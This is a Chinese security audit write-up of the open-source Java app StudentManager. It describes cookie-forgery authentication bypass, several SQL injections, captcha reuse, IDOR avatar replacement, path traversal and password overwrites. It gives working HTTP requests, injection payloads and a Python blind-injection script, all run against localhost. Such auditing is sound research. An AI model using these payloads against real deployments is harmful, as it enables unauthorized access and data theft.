java代码审计之StudentManager
2023-2-3 21:20:23 Author: xz.aliyun.com(查看原文) 阅读量:37 收藏

https://github.com/Hui4401/StudentManager

之前也没审过java的项目,刚学java,就从index.jsp开始一个一个点追吧

漏洞分析

这里遍历获取到cookie,是否存在name键
如果cookie中存在name就把name的值调用findWithId()函数
如果是老师就进入one_page_student,如果是学生就进入student/main.jsp

继续看一下findWithId()函数
这里就是把name的值,在数据库中查询,而且是直接sql语句的拼接肯定有注入,这个后面再说
如果查到了就返回tea

所以这里可以伪造一下存在的用户,不用登录就可以直接跳转到后台

复现

访问login.jsp,抓包

更改路径为index.jsp, cookie中添加存在用户123

GET /index.jsp HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Phpstorm-9e28e970=dbc7cd43-3413-4de5-aa40-3254070809b3; JSESSIONID=0F189B92035E90638972A9FB86734AC0;name=123
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1


直接进入后台

漏洞分析

这里之前提到了findWithId()函数存在SQL语句拼接,所以name的值直接就可以利用

复现

存在一个盲注,如果语句查询正确就是跳转到one_page_student,错误就是跳到login.jsp


这里cookie注入还有一点坑点,空格和,号不能用,绕过一下,写了个脚本
成功得到库名

import requests
import string

charset = ",@"+ string.digits + string.ascii_lowercase + string.ascii_uppercase + string.printable + string.punctuation

def r(s):
    s = s.replace(" ", "/**/")
    return s

sql = "database()"
result = ""
for i in range(1,100):
    for c in charset:
        cc = ord(c)
        cookie = f'''name=123'/**/and/**/ascii(substring({sql}/**/from/**/{i}))={cc}#'''
        url = "http://localhost:8080/index.jsp"
        proxies = {"http": "http://127.0.0.1:8081"}
        headers = {
        "cookie": cookie}
        r = requests.get(url,allow_redirects=False,headers=headers)
        if "one_page_student" in r.headers.get('Location'):
            result += c
            print(result)
            break
print('over!!!')


继续来看login.jsp,先搞搞登录
这里把前端得到的用户密码交给了check_login去处理

漏洞分析

直接来看check_login
这里把获取到的用户名密码交给了checkAccount函数

跟进看一下
发现是sql语句拼接用户名密码

复现

那可以用万能密码进行登录了

123'#
sdsdsfsd

直接登录成功

报错注入

user=123'/**/and/**/extractvalue(1,concat(0x7e,(select/**/@@version),0x7e))#&password=sdsdsfsd


登录看完了来看看注册

漏洞分析

这里把数据交给了check_register处理

这里看到session去获取验证码的值

这个验证码randStr的值是在code.jsp中去设置的,并没有去设置失效的时间

所以验证码可以重复利用导致

复现

注册一个用户qwe
抓包然后把用户名改成qwe1,qwe2

查看数据库,发现全部注册成功

开始看看后台
从个人信息开始

漏洞分析

有一个文件上传的功能,但是我本地是mac,截断没成功,不知道师傅们有没有手法可以上传成功
但是可以干坏事,更改id去改其他用户的头像

复现

登录zzu的账号头像是这个

然后退出登录,登录123

给123上传头像,抓包替换id为zzu

发现123头像没变,退出登录zzu的账号
头像被替换

漏洞分析

既然这个id可以控那还可以尝试一下目录穿越,就是这个拼接很难受,没绕过去

复现

id改成../zzu

发现在上层目录看到了zzu.jpeg

漏洞分析

个人信息密码这里调用了update_teacher

跟进看一下
调用updateTeacher()函数,去更改密码以及其他的参数

跟进updateTeacher()函数,这里可以直接改其他的用户密码等信息

复现

这里数据库中zzu的密码是123

在123用户处抓包更改为zzu,密码改成123456
查看zzu的数据已经被成功替换

漏洞分析

还是这个点,updateTeacher()函数这里还调用了一个findWithId()函数

id在findWithId()中也是SQL语句拼接

复现

在uid这里报错注入

uid=zzu'/**/and/**/extractvalue(1,concat(0x7e,(select/**/@@version),0x7e))#&name=zzu&sex=%E7%94%B7&email=123%40test.com&password=123456

漏洞分析

下一步学生管理
搜索处调用了one_page_student

继续跟进,这个key进入了findWithId()函数

findWithId()函数

复现

key=1111'/**/and/**/extractvalue(1,concat(0x7e,(select/**/@@version),0x7e))#


然后就是在dao中写的函数基本上是一些sql语句的拼接,可以全局搜索哪些地方调用了这些函数,就是有sql注入了。


文章来源: https://xz.aliyun.com/t/12105
如有侵权请联系:admin#unsafe.sh